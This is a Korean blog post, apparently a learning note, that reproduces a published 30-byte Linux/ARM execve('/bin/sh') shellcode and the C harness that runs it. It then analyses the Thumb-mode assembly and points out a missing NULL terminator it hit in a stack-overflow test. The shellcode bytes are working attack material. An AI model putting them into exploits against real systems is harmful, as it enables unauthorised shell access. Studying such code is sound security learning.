System/Linux

[ARM bof] - execve 쉘코드

bbolmin 2015. 2. 18. 17:41



exploit db의 execve 30byte 쉘코드


http://www.exploit-db.com/exploits/14097/


/*
Title:  Linux/ARM - execve("/bin/sh","/bin/sh",0) - 30 bytes
Date:   2010-06-28
Tested: ARM926EJ-S rev 5 (v5l)
 
Author: Jonathan Salwan
Web:    http://shell-storm.org | http://twitter.com/jonathansalwan
 
! Dtabase of shellcodes http://www.shell-storm.org/shellcode/
 
 
    8054:   e28f3001    add r3, pc, #1  ; 0x1
    8058:   e12fff13    bx  r3
    805c:   4678        mov r0, pc
    805e:   300a        adds    r0, #10
    8060:   9001        str r0, [sp, #4]
    8062:   a901        add r1, sp, #4
    8064:   1a92        subs    r2, r2, r2
    8066:   270b        movs    r7, #11
    8068:   df01        svc 1
    806a:   2f2f        cmp r7, #47
    806c:   6962        ldr r2, [r4, #20]
    806e:   2f6e        cmp r7, #110
    8070:   6873        ldr r3, [r6, #4]
*/
 
#include <stdio.h>
 
char *SC = "\x01\x30\x8f\xe2"
           "\x13\xff\x2f\xe1"
           "\x78\x46\x0a\x30"
           "\x01\x90\x01\xa9"
           "\x92\x1a\x0b\x27"
           "\x01\xdf\x2f\x2f"
           "\x62\x69\x6e\x2f"
           "\x73\x68";
 
int main(void)
{
        fprintf(stdout,"Length: %d\n",strlen(SC));
        (*(void(*)()) SC)();
return 0;

}


아직 arm 어셈코드가 익숙하지 않아서 ... 만들지는 않고 위의 쉘코드를 한번 분석해보도록 하겠다.


먼저 처음 2줄은 4byte 짜리 명령어인데 그 뒤로는 2byte 단위로 이루어지는 것을 볼 수 있다. 이는 ARM의 thumb모드라고 하위 호환성?, 명령어 길이를 줄이기 위해? 16bit 명령어 셋이 존재하는데 위의 쉘코드에서도 thumb모드를 사용하는 것이다. 



처음 2줄이 thumb모드로 들어가는 코드인데 pc + 1한 값으로 점프(bx)시키는 코드이다.


add r3, pc, #1  ; 0x1

bx  r3


bx 명령어에서는 pc의 최하위1bit가 set 되어 있는 경우 CPSR의 T bit를 세팅해서 thumb모드로 인식한다. arm에서 모든 명령어들이 4byte, 2byte (thumb mode)이기 때문에 최하위 1bit를 사용해 thumb 비트 세팅에 사용할 수 있는 것이다.


(+ 추가적으로 gdb에서도 thumb모드로 디스어셈블하고 싶다면 x/10i 0x104e8 라면 x/10i 0x104e9 와 같이 +1를 더해주면 된다. )


또 주의해야 할 것이 쉘코드에서 mov나 add 등으로 pc 레지스터의 값을 얻어오는데 이때 얻어오는 pc값은 파이프라인에 의해 다다음에 실행시킬 명령어의 주소를 가지고 온다는 것이다. 현재 pc에서 +8 (thumb모드라면 +4)




그 뒤의 어셈블리 코드가 execve를 call하는 코드이다.


    805c:   4678        mov r0, pc

    805e:   300a        adds    r0, #10

    8060:   9001        str r0, [sp, #4]

    8062:   a901        add r1, sp, #4

    8064:   1a92        subs    r2, r2, r2

    8066:   270b        movs    r7, #11

    8068:   df01        svc 1

    806a:   2f2f        cmp r7, #47

    806c:   6962        ldr r2, [r4, #20]

    806e:   2f6e        cmp r7, #110

    8070:   6873        ldr r3, [r6, #4]


svc아래 부분은 "/bin/sh" 문자열을 구성하는 데이터이므로 그 위의 코드를 분석해보자.


r0, r1, r2에 각 argv 값이 순서대로 들어가므로 execve 인자값은 아래와 같이 구성한다.


r0 => "/bin/sh"

r1 => &"/bin/sh"

r2 => NULL



그럼 한줄씩 분석해보도록 하자.


1. r0, r1 레지스터를 구성하기 위한 코드


    805c:   4678        mov r0, pc

    805e:   300a        adds    r0, #10

    8060:   9001        str r0, [sp, #4]

    8062:   a901        add r1, sp, #4


앞서 말했듯이 mov r0, pc를 수행하면 파이프 라인에 의해 다다음의 주소값이 r0에 들어가게 된다. 위의 경우는 0x8060이 들어간다.

그리고 10(0xa)만큼 r0을 올려주면 r0에는 0x806a가 들어가서 "/bin/sh"문자열을 가리키게 된다. 마지막으로 r1을 구성하기 위해 sp+4에 "/bin/sh"의 주소를 넣고 r1에 sp+4의 주소를 넣어준다.


2. r2를 NULL로 구성하기 위한 코드


8064:   1a92        subs    r2, r2, r2


x86에서의 xor로 NULL값을 만들어 주는 것과 비슷한 과정이다. arm에서는 sub를 사용한다.


3. execve 호출


 8066:   270b        movs    r7, #11

 8068:   df01        svc 1


svc라는 명령어로 system call을 호출한다. 이때 시스템 콜 번호는 r7 레지스터를 사용하기 때문에 execve의 시스템콜 번호인 11을 넣어준 후 svc를 호출한다. (svc뒤에 오는 1은 먼지 모른다 ;; )





실제로 스택에 올려서 bof를 시도해봤는데 ...... 


위의 쉘코드 마지막 부분에 "//bin/sh"라는 문자열이 있는데 그 뒤에 NULL을 넣어 주는 코드가 없어서 쉘코드 뒷 부분의 데이터가 붙여서 execve가 실행된다 ..... 



그래서 그냥 새로 만듦 ...